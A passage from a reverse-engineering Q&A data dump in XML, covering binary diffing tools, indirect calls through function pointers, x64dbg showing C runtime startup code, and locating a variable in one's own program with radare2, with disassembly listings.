href=&quot;https://www.zynamics.com/binnavi.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;BinNavi&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/filcab/patchdiff2&quot; rel=&quot;nofollow noreferrer&quot;&gt;PatchDiff 2&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="18014" LastEditorUserId="42442" LastEditDate="2022-11-29T07:19:37.180" LastActivityDate="2022-11-29T07:19:37.180" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="19013" PostTypeId="2" ParentId="18982" CreationDate="2018-08-08T08:56:15.387" Score="2" Body="&lt;p&gt;Usually the compiler will generate the call using the address of the function directly. But since in your case it uses a register, it reminds me of C++ vtables. &#xA;So in C, how about calling a pointer to a function? Something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void (*fptr)(void);&#xA;void foo(void) {&#xA;   /* some code */&#xA;}&#xA;fptr = foo;&#xA;(*fptr)();   /* &amp;lt;-- your indirect call generated here */&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="25126" LastActivityDate="2018-08-08T08:56:15.387" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19014" PostTypeId="2" ParentId="19011" CreationDate="2018-08-08T12:15:01.710" Score="2" Body="&lt;p&gt;In Windows, perhaps the simplest possibility is the built-in File Compare command with its /B (binary) switch, to be used from the command-line. It lists all different bytes together with their file offset.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Usage:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;fc /B filepath1 filepath2&lt;/p&gt;&#xA;" OwnerUserId="12800" LastActivityDate="2018-08-08T12:15:01.710" CommentCount="5" ContentLicense="CC BY-SA 4.0" />
  <row Id="19015" PostTypeId="1" AcceptedAnswerId="19016" CreationDate="2018-08-08T17:56:15.940" Score="2" ViewCount="2496" Body="&lt;p&gt;I'm very new in software reverse engineering. I created a very simple &lt;code&gt;c&lt;/code&gt; program using Visual Studio and the code is listed below. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;stdio.h&amp;gt;&#xA;&#xA;void main()&#xA;{&#xA;    int x, y, z;&#xA;&#xA;    while(1)&#xA;    {&#xA;        x = 0;&#xA;        y = 1;&#xA;        do&#xA;        {&#xA;            printf(&quot;%d\n&quot;, x);&#xA;&#xA;            z = x + y;&#xA;            x = y;&#xA;            y = z;&#xA;        } while (x &amp;lt; 255);&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After compiled the program, I use &lt;code&gt;x64dbg&lt;/code&gt; opened the compiled output file &lt;code&gt;project1.exe&lt;/code&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2yr7y.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2yr7y.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why for such a simple program, x64dbg displays this huge amount of assembly code (this seems happen to other disassembler too)?  See the scroll bar you get it. Is it because x64dbg show all memory info here? If so, that means I can find all other programs running on my computer from  this panel, right?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance for any clarification. This is probably a noob question but I can't find the answer online. &lt;/p&gt;&#xA;" OwnerUserId="12047" LastEditorUserId="12047" LastEditDate="2018-08-08T18:38:30.513" LastActivityDate="2022-07-04T19:17:29.070" Title="Does x64dbg display the whole memory info even for a simple program opened?" Tags="|memory|x64dbg|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="19016" PostTypeId="2" ParentId="19015" CreationDate="2018-08-08T19:59:17.840" Score="3" Body="&lt;p&gt;The image in query can't be viewed.&lt;/p&gt;&#xA;&lt;p&gt;I assume you are asking ----&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;why I can't see the assembly code pertaining to my code portion only&#xA;and what are those extra assembly code which I didn't seem to write&#xA;staring at me&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;The apparently extra code that is shown while you disassemble a console application are inserted by the compiler and is called c runtime initialization code  aka &lt;strong&gt;CRT&lt;/strong&gt; code.&lt;/p&gt;&#xA;&lt;p&gt;A console application needs an input mechanism and an output mechanism&#xA;so before your code is called the compiler puts those code in place&#xA;you can find the source for such code in your visual studio directory under&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;C:\Program Files\Microsoft Visual Studio\2017\Community\VC\Tools\MSVC\14.14.26428\crt\src\vcruntime&amp;gt;cd ..&#xA;&#xA;C:\Program Files\Microsoft Visual Studio\2017\Community\VC\Tools\MSVC\14.14.26428\crt\src&amp;gt;ls&#xA;arm  concrt  i386  linkopts  stl  vccorlib  vcruntime  x64&#xA;&#xA;C:\Program Files\Microsoft Visual Studio\2017\Community\VC\Tools\MSVC\14.14.26428\crt\src&amp;gt;cd vcruntime&#xA;&#xA;C:\Program Files\Microsoft Visual Studio\2017\Community\VC\Tools\MSVC\14.14.26428\crt\src\vcruntime&amp;gt;ls *main*&#xA;dll_dllmain.cpp       exe_main.cpp     exe_wmain.cpp     ManagedMain.cpp&#xA;dll_dllmain_stub.cpp  exe_winmain.cpp  exe_wwinmain.cpp  vcruntime_dllmain.cpp&#xA;&#xA;C:\Program Files\Microsoft Visual Studio\2017\Community\VC\Tools\MSVC\14.14.26428\crt\src\vcruntime&amp;gt;cat exe_main.cpp&#xA;//&#xA;// exe_wwinmain.cpp&#xA;//&#xA;//      Copyright (c) Microsoft Corporation. All rights reserved.&#xA;//&#xA;// The mainCRTStartup() entry point, linked into client executables that&#xA;// uses main().&#xA;//&#xA;#define _SCRT_STARTUP_MAIN&#xA;#include &amp;quot;exe_common.inl&amp;quot;&#xA;&#xA;&#xA;&#xA;extern &amp;quot;C&amp;quot; int mainCRTStartup()&#xA;{&#xA;    return __scrt_common_main();&#xA;}&#xA;&#xA;C:\Program Files\Microsoft Visual Studio\2017\Community\VC\Tools\MSVC\14.14.26428\crt\src\vcruntime&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If you don't want to see such code do not create a console app&#xA;but write a bare-minimum windows app and handle all the input and output mechanisms on your own.&lt;/p&gt;&#xA;&lt;p&gt;for example, your code can be rewritten like this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;windows.h&amp;gt;&#xA;&#xA;void mymain() {&#xA;    int x, y, z;&#xA;    char buff[0x100];&#xA;&#xA;    while(1)&#xA;    {&#xA;        x = 0;&#xA;        y = 1;&#xA;        do&#xA;        {&#xA;            wsprintf(buff , &amp;quot;%d\n&amp;quot;, x);&#xA;            MessageBoxA(NULL,buff,&amp;quot;test&amp;quot;,MB_OK);&#xA;&#xA;            z = x + y;&#xA;            x = y;&#xA;            y = z;&#xA;        } while (x &amp;lt; 255);&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;and compiled an linked like this from vc command prompt (you can set these options from project settings also but i wont get into discussing property pages here)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;cl /GS-  /Zi /W4 /analyze /nologo /Od bare.cpp /link /release /entry:mymain /subsystem:windows user32.lib&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;code&gt;/GS&lt;/code&gt; disables buffer security checks   /entry says to the compile i dont want all the stuff you drop into my binary just start from here.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;/subsystem:windows&lt;/code&gt; says I don't want your black screen blinking at me.&lt;/p&gt;&#xA;&lt;p&gt;I will write on my own hyperspace and read through telepathy and bingo you get a slim and trim 3 kb excutable with just this disassembly.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;dumpbin /disasm bare.exe&#xA;Microsoft (R) COFF/PE Dumper Version 14.14.26430.0&#xA;Copyright (C) Microsoft Corporation.  All rights reserved.&#xA;&#xA;&#xA;Dump of file bare.exe&#xA;&#xA;File Type: EXECUTABLE IMAGE&#xA;&#xA;?mymain@@YAXXZ:&#xA;  00401000: 55                 push        ebp&#xA;  00401001: 8B EC              mov         ebp,esp&#xA;  00401003: 81 EC 0C 01 00 00  sub         esp,10Ch&#xA;  00401009: B8 01 00 00 00     mov         eax,1&#xA;  0040100E: 85 C0              test        eax,eax&#xA;  00401010: 74 5D              je          0040106F&#xA;  00401012: C7 45 FC 00 00 00  mov         dword ptr [ebp-4],0&#xA;            00&#xA;  00401019: C7 45 F8 01 00 00  mov         dword ptr [ebp-8],1&#xA;            00&#xA;  00401020: 8B 4D FC           mov         ecx,dword ptr [ebp-4]&#xA;  00401023: 51                 push        ecx&#xA;  00401024: 68 10 20 40 00     push        402010h&#xA;  00401029: 8D 95 F4 FE FF FF  lea         edx,[ebp-10Ch]&#xA;  0040102F: 52                 push        edx&#xA;  00401030: FF 15 04 20 40 00  call        dword ptr [__imp__wsprintfA]&#xA;  00401036: 83 C4 0C           add         esp,0Ch&#xA;  00401039: 6A 00              push        0&#xA;  0040103B: 68 14 20 40 00     push        402014h&#xA;  00401040: 8D 85 F4 FE FF FF  lea         eax,[ebp-10Ch]&#xA;  00401046: 50                 push        eax&#xA;  00401047: 6A 00              push        0&#xA;  00401049: FF 15 00 20 40 00  call        dword ptr [__imp__MessageBoxA@16]&#xA;  0040104F: 8B 4D FC           mov         ecx,dword ptr [ebp-4]&#xA;  00401052: 03 4D F8           add         ecx,dword ptr [ebp-8]&#xA;  00401055: 89 4D F4           mov         dword ptr [ebp-0Ch],ecx&#xA;  00401058: 8B 55 F8           mov         edx,dword ptr [ebp-8]&#xA;  0040105B: 89 55 FC           mov         dword ptr [ebp-4],edx&#xA;  0040105E: 8B 45 F4           mov         eax,dword ptr [ebp-0Ch]&#xA;  00401061: 89 45 F8           mov         dword ptr [ebp-8],eax&#xA;  00401064: 81 7D FC FF 00 00  cmp         dword ptr [ebp-4],0FFh&#xA;            00&#xA;  0040106B: 7C B3              jl          00401020&#xA;  0040106D: EB 9A              jmp         00401009&#xA;  0040106F: 8B E5              mov         esp,ebp&#xA;  00401071: 5D                 pop         ebp&#xA;  00401072: C3                 ret&#xA;_wsprintfA:&#xA;  00401073: FF 25 04 20 40 00  jmp         dword ptr [__imp__wsprintfA]&#xA;_MessageBoxA@16:&#xA;  00401079: FF 25 00 20 40 00  jmp         dword ptr [__imp__MessageBoxA@16]&#xA;&#xA;  Summary&#xA;&#xA;        1000 .rdata&#xA;        1000 .reloc&#xA;        1000 .text&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;&lt;em&gt;EDIT&lt;/em&gt;&lt;/p&gt;&#xA;&lt;p&gt;The screen shot seems to be inlined after I posted the answer&#xA;and the code in screen shot belongs to &lt;code&gt;ntdll.dll&lt;/code&gt; and not your module. &lt;code&gt;ntdll&lt;/code&gt; is a dll that is mandatory for any application and it provides the&#xA;low level resources and routines for transitioning into kernel space.&lt;/p&gt;&#xA;&lt;p&gt;Go to  modules pane (&lt;kbd&gt;Alt+m&lt;/kbd&gt; I would guess as x64dbg uses ollydbg ui shorcuts ) and select your module and follow its entry point to look at your code.&lt;/p&gt;&#xA;" OwnerUserId="3473" LastEditorUserId="15246" LastEditDate="2022-07-04T19:17:29.070" LastActivityDate="2022-07-04T19:17:29.070" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="19017" PostTypeId="1" CreationDate="2018-08-08T20:50:41.373" Score="3" ViewCount="2449" Body="&lt;p&gt;This question seems so basic but I have spent 5+ hours trying to figure it out. I have written a program in C++ that defines a few variables and does some other stuff. What I want to do in Radare2 is to be able to find the memory address that one of those variable is stored in and then alter it. The steps needed in my opinion are:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Set up a breakpoint at or after declaration of variable.&lt;/li&gt;&#xA;&lt;li&gt;Find memory address with value I'm searching for. In this case 10.&lt;/li&gt;&#xA;&lt;li&gt;Change value stored in that address.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;The biggest issue I'm having is just knowing what to look at for identifying the address with the value of 10. If I do a &lt;code&gt;pdf&lt;/code&gt; of the main function, there are tons of &lt;code&gt;local_xxx&lt;/code&gt; which is what I assume I should be looking at:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;UPDATED with full disassembly&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;main (int arg_4h);&#xA;|           ; var int local_9ch @ ebp-0x9c&#xA;|           ; var int local_8ch @ ebp-0x8c&#xA;|           ; var int local_88h @ ebp-0x88&#xA;|           ; var int local_84h @ ebp-0x84&#xA;|           ; var int local_80h @ ebp-0x80&#xA;|           ; var int local_7ch @ ebp-0x7c&#xA;|           ; var int local_64h @ ebp-0x64&#xA;|           ; var int local_4ch @ ebp-0x4c&#xA;|           ; var int local_34h @ ebp-0x34&#xA;|           ; var int local_1ch @ ebp-0x1c&#xA;|           ; var int local_10h @ ebp-0x10&#xA;|           ; arg int arg_4h @ esp+0x4&#xA;|           0x565f1a18      8d4c2404       lea ecx, [arg_4h]           ; 4&#xA;|           0x565f1a1c      83e4f0         and esp, 0xfffffff0&#xA;|           0x565f1a1f      ff71fc         push dword [ecx - 4]&#xA;|           0x565f1a22      55             push ebp&#xA;|           0x565f1a23      89e5           mov ebp, esp&#xA;|           0x565f1a25      57             push edi&#xA;|           0x565f1a26      56             push esi&#xA;|           0x565f1a27      53             push ebx&#xA;|           0x565f1a28      51             push ecx&#xA;|           0x565f1a29      81ec98000000   sub esp, 0x98&#xA;|           0x565f1a2f      e8740a0000     call sym.__x86.get_pc_thunk.si&#xA;|           0x565f1a34      81c608250000   add esi, 0x2508&#xA;|           0x565f1a3a      89c8           mov eax, ecx&#xA;|           0x565f1a3c      8b4004         mov eax, dword [eax + 4]    ; [0x4:4]=-1 ; 4&#xA;|           0x565f1a3f      898564ffffff   mov dword [local_9ch], eax&#xA;|           0x565f1a45      65a114000000   mov eax, dword gs:[0x14]    ; [0x14:4]=-1 ; 20&#xA;|           0x565f1a4b      8945e4         mov dword [local_1ch], eax&#xA;|           0x565f1a4e      31c0           xor eax, eax&#xA;|           0x565f1a50      83ec0c         sub esp, 0xc&#xA;|           0x565f1a53      8d8578ffffff   lea eax, [local_88h]&#xA;|           0x565f1a59      50             push eax&#xA;|           0x565f1a5a      89f3           mov ebx, esi&#xA;|           0x565f1a5c      e84ff9ffff     call sym.std::allocator_char_::allocator&#xA;|           0x565f1a61      83c410         add esp, 0x10&#xA;|           0x565f1a64      83ec04         sub esp, 4&#xA;|           0x565f1a67      8d8578ffffff   lea eax, [local_88h]&#xA;|           0x565f1a6d      50             push eax&#xA;|           0x565f1a6e      8d8696e7ffff   lea eax, [esi - 0x186a]&#xA;|           0x565f1a74      50             push eax&#xA;|           0x565f1a75      8d4584         lea eax, [local_7ch]&#xA;|           0x565f1a78      50             push eax&#xA;|           0x565f1a79      89f3           mov ebx, esi&#xA;|           0x565f1a7b      e8c0f8ffff     call sym.std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char__::basic_string_charconst__std::allocator_char_const&#xA;|           0x565f1a80      83c410         add esp, 0x10&#xA;|           0x565f1a83      83ec0c         sub esp, 0xc&#xA;|           0x565f1a86      8d8578ffffff   lea eax, [local_88h]&#xA;|           0x565f1a8c      50             push eax&#xA;|           0x565f1a8d      89f3           mov ebx, esi&#xA;|           0x565f1a8f      e85cf8ffff     call sym.std::allocator_char_::_allocator&#xA;|           0x565f1a94      83c410         add esp, 0x10&#xA;|           0x565f1a97      83ec0c         sub esp, 0xc&#xA;|           0x565f1a9a      8d8578ffffff   lea eax, [local_88h]&#xA;|           0x565f1aa0      50             push eax&#xA;|           0x565f1aa1      89f3           mov ebx, esi&#xA;|           0x565f1aa3      e808f9ffff     call sym.std::allocator_char_::allocator&#xA;|           0x565f1aa8      83c410         add esp, 0x10&#xA;|           0x565f1aab      83ec04         sub esp, 4&#xA;|           0x565f1aae      8d8578ffffff   lea eax, [local_88h]&#xA;|           0x565f1ab4      50             push eax&#xA;|           0x565f1ab5      8d869be7ffff   lea eax, [esi - 0x1865]&#xA;|           0x565f1abb      50             push eax&#xA;|           0x565f1abc      8d459c         lea eax, [local_64h]&#xA;|           0x565f1abf      50             push eax&#xA;|           0x565f1ac0      89f3           mov ebx, esi&#xA;|           0x565f1ac2      e879f8ffff     call sym.std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char__::basic_string_charconst__std::allocator_char_const&#xA;|           0x565f1ac7      83c410         add esp, 0x10&#xA;|           0x565f1aca      83ec0c         sub esp, 0xc&#xA;|           0x565f1acd      8d8578ffffff   lea eax, [local_88h]&#xA;|           0x565f1ad3      50             push eax&#xA;|           0x565f1ad4      89f3           mov ebx, esi&#xA;|           0x565f1ad6      e815f8ffff     call sym.std::allocator_char_::_allocator&#xA;|           0x565f1adb      83c410         add esp, 0x10&#xA;|           0x565f1ade      c7857cffffff.  mov dword [local_84h], 0x64 ; 'd' ; 100&#xA;|           0x565f1ae8      c74580050000.  mov dword [local_80h], 5&#xA;|           0x565f1aef      c78574ffffff.  mov dword [local_8ch], 0xa&#xA;|           0x565f1af9      c78578ffffff.  mov dword [local_88h], 0xa&#xA;|           0x565f1b03      83ec08         sub esp, 8&#xA;|           0x565f1b06      8d869ce7ffff   lea eax, [esi - 0x1864]&#xA;|           0x565f1b0c      50             push eax&#xA;|           0x565f1b0d      8b86ac000000   mov eax, dword [esi + 0xac] ; [0xac:4]=-1 ; 172&#xA;|           0x565f1b13      50             push eax&#xA;|           0x565f1b14      89f3           mov ebx, esi&#xA;|           0x565f1b16      e8a5f7ffff     call sym.std::basic_ostream_char_std::char_traits_char___std::operator___std::char_traits_char___std::basic_ostream_char_std::char_traits_char____charconst&#xA;|           0x565f1b1b      83c410         add esp, 0x10&#xA;|           0x565f1b1e      83ec08         sub esp, 8&#xA;|           0x565f1b21      8d4584         lea eax, [local_7ch]&#xA;|           0x565f1b24      50             push eax&#xA;|           0x565f1b25      8b86b4000000   mov eax, dword [esi + 0xb4] ; [0xb4:4]=-1 ; 180&#xA;|           0x565f1b2b      50             push eax&#xA;|           0x565f1b2c      89f3           mov ebx, esi&#xA;|           0x565f1b2e      e8fdf7ffff     call sym.std::basic_istream_char_std::char_traits_char___std::operator___char_std::char_traits_char__std::allocator_char___std::basic_istream_char_std::char_traits_char____std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char&#xA;|           0x565f1b33      83c410         add esp, 0x10&#xA;|           0x565f1b36      8d45b4         lea eax, [local_4ch]&#xA;|           0x565f1b39      83ec04         sub esp, 4&#xA;|           0x565f1b3c      8d5584         lea edx, [local_7ch]&#xA;|           0x565f1b3f      52             push edx&#xA;|           0x565f1b40      8d96b9e7ffff   lea edx, [esi - 0x1847]&#xA;|           0x565f1b46      52             push edx&#xA;|           0x565f1b47      50             push eax&#xA;|           0x565f1b48      e81c050000     call sym.std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char__std::operator__char_std::char_traits_char__std::allocator_char___charconst__std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char__const&#xA;|           0x565f1b4d      83c40c         add esp, 0xc&#xA;|           0x565f1b50      8d45cc         lea eax, [local_34h]&#xA;|           0x565f1b53      83ec04         sub esp, 4&#xA;|           0x565f1b56      8d96c4e7ffff   lea edx, [esi - 0x183c]&#xA;|           0x565f1b5c      52             push edx&#xA;|           0x565f1b5d      8d55b4         lea edx, [local_4ch]&#xA;|           0x565f1b60      52             push edx&#xA;|           0x565f1b61      50             push eax&#xA;|           0x565f1b62      e8ba040000     call sym.std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char__std::operator__char_std::char_traits_char__std::allocator_char___std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char_____charconst&#xA;|           0x565f1b67      83c40c         add esp, 0xc&#xA;|           0x565f1b6a      83ec08         sub esp, 8&#xA;|           0x565f1b6d      8d45cc         lea eax, [local_34h]&#xA;|           0x565f1b70      50             push eax&#xA;|           0x565f1b71      8b86ac000000   mov eax, dword [esi + 0xac] ; [0xac:4]=-1 ; 172&#xA;|           0x565f1b77      50             push eax&#xA;|           0x565f1b78      89f3           mov ebx, esi&#xA;|           0x565f1b7a      e821f7ffff     call sym.std::basic_ostream_char_std::char_traits_char___std::operator___char_std::char_traits_char__std::allocator_char___std::basic_ostream_char_std::char_traits_char____std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char__const&#xA;|           0x565f1b7f      83c410         add esp, 0x10&#xA;|           0x565f1b82      83ec0c         sub esp, 0xc&#xA;|           0x565f1b85      8d45cc         lea eax, [local_34h]&#xA;|           0x565f1b88      50             push eax&#xA;|           0x565f1b89      89f3           mov ebx, esi&#xA;|           0x565f1b8b      e880f6ffff     call sym.std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char__::_basic_string&#xA;|           0x565f1b90      83c410         add esp, 0x10&#xA;|           0x565f1b93      83ec0c         sub esp, 0xc&#xA;|           0x565f1b96      8d45b4         lea eax, [local_4ch]&#xA;|           0x565f1b99      50             push eax&#xA;|           0x565f1b9a      89f3           mov ebx, esi&#xA;|           0x565f1b9c      e86ff6ffff     call sym.std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char__::_basic_string&#xA;|           0x565f1ba1      83c410         add esp, 0x10&#xA;|           0x565f1ba4      83ec08         sub esp, 8&#xA;|           0x565f1ba7      8d459c         lea eax, [local_64h]&#xA;|           0x565f1baa      50             push eax&#xA;|           0x565f1bab      8b86b4000000   mov eax, dword [esi + 0xb4] ; [0xb4:4]=-1 ; 180&#xA;|           0x565f1bb1      50             push eax&#xA;|           0x565f1bb2      89f3           mov ebx, esi&#xA;|           0x565f1bb4      e877f7ffff     call sym.std::basic_istream_char_std::char_traits_char___std::operator___char_std::char_traits_char__std::allocator_char___std::basic_istream_char_std::char_traits_char____std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char&#xA;|           0x565f1bb9      83c410         add esp, 0x10&#xA;|           0x565f1bbc      83ec08         sub esp, 8&#xA;|           0x565f1bbf      8d862ee8ffff   lea eax, [esi - 0x17d2]&#xA;|           0x565f1bc5      50             push eax&#xA;|           0x565f1bc6      8d459c         lea eax, [local_64h]&#xA;|           0x565f1bc9      50             push eax&#xA;|           0x565f1bca      e87d050000     call sym.boolstd::operator___char_std::char_traits_char__std::allocator_char___std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char__const__charconst&#xA;|           0x565f1bcf      83c410         add esp, 0x10&#xA;|           0x565f1bd2      84c0           test al, al&#xA;|       ,=&amp;lt; 0x565f1bd4      751a           jne 0x565f1bf0&#xA;|       |   0x565f1bd6      83ec08         sub esp, 8&#xA;|       |   0x565f1bd9      8d8630e8ffff   lea eax, [esi - 0x17d0]&#xA;|       |   0x565f1bdf      50             push eax&#xA;|       |   0x565f1be0      8d459c         lea eax, [local_64h]&#xA;|       |   0x565f1be3      50             push eax&#xA;|       |   0x565f1be4      e863050000     call sym.boolstd::operator___char_std::char_traits_char__std::allocator_char___std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char__const__charconst&#xA;|       |   0x565f1be9      83c410         add esp, 0x10&#xA;|       |   0x565f1bec      84c0           test al, al&#xA;|      ,==&amp;lt; 0x565f1bee      7407           je 0x565f1bf7&#xA;|      |`-&amp;gt; 0x565f1bf0      b801000000     mov eax, 1&#xA;|      |,=&amp;lt; 0x565f1bf5      eb05           jmp 0x565f1bfc&#xA;|      `--&amp;gt; 0x565f1bf7      b800000000     mov eax, 0&#xA;|       |   ; CODE XREF from main (0x565f1bf5)&#xA;|       `-&amp;gt; 0x565f1bfc      84c0           test al, al&#xA;|       ,=&amp;lt; 0x565f1bfe      7421           je 0x565f1c21&#xA;|       |   0x565f1c00      83ec04         sub esp, 4&#xA;|       |   0x565f1c03      8d8578ffffff   lea eax, [local_88h]&#xA;|       |   0x565f1c09      50             push eax&#xA;|       |   0x565f1c0a      8d8574ffffff   lea eax, [local_8ch]&#xA;|       |   0x565f1c10      50             push eax&#xA;|       |   0x565f1c11      ff7580         push dword [local_80h]&#xA;|       |   0x565f1c14      e824f9ffff     call sym.fight_int_int__int&#xA;|       |   0x565f1c19      83c410         add esp, 0x10&#xA;|      ,==&amp;lt; 0x565f1c1c      e9aa000000     jmp 0x565f1ccb&#xA;|      |`-&amp;gt; 0x565f1c21      83ec08         sub esp, 8&#xA;|      |    0x565f1c24      8d8632e8ffff   lea eax, [esi - 0x17ce]&#xA;|      |    0x565f1c2a      50             push eax&#xA;|      |    0x565f1c2b      8d459c         lea eax, [local_64h]&#xA;|      |    0x565f1c2e      50             push eax&#xA;|      |    0x565f1c2f      e818050000     call sym.boolstd::operator___char_std::char_traits_char__std::allocator_char___std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char__const__charconst&#xA;|      |    0x565f1c34      83c410         add esp, 0x10&#xA;|      |    0x565f1c37      84c0           test al, al&#xA;|      |,=&amp;lt; 0x565f1c39      751a           jne 0x565f1c55&#xA;|      ||   0x565f1c3b      83ec08         sub esp, 8&#xA;|      ||   0x565f1c3e      8d8634e8ffff   lea eax, [esi - 0x17cc]&#xA;|      ||   0x565f1c44      50             push eax&#xA;|      ||   0x565f1c45      8d459c         lea eax, [local_64h]&#xA;|      ||   0x565f1c48      50             push eax&#xA;|      ||   0x565f1c49      e8fe040000     call sym.boolstd::operator___char_std::char_traits_char__std::allocator_char___std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char__const__charconst&#xA;|      ||   0x565f1c4e      83c410         add esp, 0x10&#xA;|      ||   0x565f1c51      84c0           test al, al&#xA;|     ,===&amp;lt; 0x565f1c53      7407           je 0x565f1c5c&#xA;|     ||`-&amp;gt; 0x565f1c55      b801000000     mov eax, 1&#xA;|     ||,=&amp;lt; 0x565f1c5a      eb05           jmp 0x565f1c61&#xA;|     `---&amp;gt; 0x565f1c5c      b800000000     mov eax, 0&#xA;|      ||   ; CODE XREF from main (0x565f1c5a)&#xA;|      |`-&amp;gt; 0x565f1c61      84c0           test al, al&#xA;|      |,=&amp;lt; 0x565f1c63      7434           je 0x565f1c99&#xA;|      ||   0x565f1c65      83ec08         sub esp, 8&#xA;|      ||   0x565f1c68      8d8638e8ffff   lea eax, [esi - 0x17c8]&#xA;|      ||   0x565f1c6e      50             push eax&#xA;|      ||   0x565f1c6f      8b86ac000000   mov eax, dword [esi + 0xac] ; [0xac:4]=-1 ; 172&#xA;|      ||   0x565f1c75      50             push eax&#xA;|      ||   0x565f1c76      89f3           mov ebx, esi&#xA;|      ||   0x565f1c78      e843f6ffff     call sym.std::basic_ostream_char_std::char_traits_char___std::operator___std::char_traits_char___std::basic_ostream_char_std::char_traits_char____charconst&#xA;|      ||   0x565f1c7d      83c410         add esp, 0x10&#xA;|      ||   0x565f1c80      89c2           mov edx, eax&#xA;|      ||   0x565f1c82      83ec08         sub esp, 8&#xA;|      ||   0x565f1c85      8b86a4000000   mov eax, dword [esi + 0xa4] ; [0xa4:4]=-1 ; 164&#xA;|      ||   0x565f1c8b      50             push eax&#xA;|      ||   0x565f1c8c      52             push edx&#xA;|      ||   0x565f1c8d      89f3           mov ebx, esi&#xA;|      ||   0x565f1c8f      e83cf6ffff     call sym.std::ostream::operator___std::ostream_____std::ostream&#xA;|      ||   0x565f1c94      83c410         add esp, 0x10&#xA;|     ,===&amp;lt; 0x565f1c97      eb32           jmp 0x565f1ccb&#xA;|     ||`-&amp;gt; 0x565f1c99      83ec08         sub esp, 8&#xA;|     ||    0x565f1c9c      8d8658e8ffff   lea eax, [esi - 0x17a8]&#xA;|     ||    0x565f1ca2      50             push eax&#xA;|     ||    0x565f1ca3      8b86ac000000   mov eax, dword [esi + 0xac] ; [0xac:4]=-1 ; 172&#xA;|     ||    0x565f1ca9      50             push eax&#xA;|     ||    0x565f1caa      89f3           mov ebx, esi&#xA;|     ||    0x565f1cac      e80ff6ffff     call sym.std::basic_ostream_char_std::char_traits_char___std::operator___std::char_traits_char___std::basic_ostream_char_std::char_traits_char____charconst&#xA;|     ||    0x565f1cb1      83c410         add esp, 0x10&#xA;|     ||    0x565f1cb4      89c2           mov edx, eax&#xA;|     ||    0x565f1cb6      83ec08         sub esp, 8&#xA;|     ||    0x565f1cb9      8b86a4000000   mov eax, dword [esi + 0xa4] ; [0xa4:4]=-1 ; 164&#xA;|     ||    0x565f1cbf      50             push eax&#xA;|     ||    0x565f1cc0      52             push edx&#xA;|     ||    0x565f1cc1      89f3           mov ebx, esi&#xA;|     ||    0x565f1cc3      e808f6ffff     call sym.std::ostream::operator___std::ostream_____std::ostream&#xA;|     ||    0x565f1cc8      83c410         add esp, 0x10&#xA;|     ||    ; CODE XREFS from main (0x565f1c1c, 0x565f1c97)&#xA;|     ``--&amp;gt; 0x565f1ccb      bf00000000     mov edi, 0&#xA;|           0x565f1cd0      83ec0c         sub esp, 0xc&#xA;|           0x565f1cd3      8d459c         lea eax, [local_64h]&#xA;|           0x565f1cd6      50             push eax&#xA;|           0x565f1cd7      89f3           mov ebx, esi&#xA;|           0x565f1cd9      e832f5ffff     call sym.std::__cxx11::basic_string_char_std::char_traits_char__std::allocator_char__::_basic_string&#xA;|           0x565f1cde      83c410         add esp, 0x10&#xA;|           0x565f1ce1      83ec0c         sub esp, 0xc&#xA;|           0x565f1ce4      8d4584         lea eax, [local_7ch]&#xA;|           0x565f1ce7      50             push eax&#xA;|           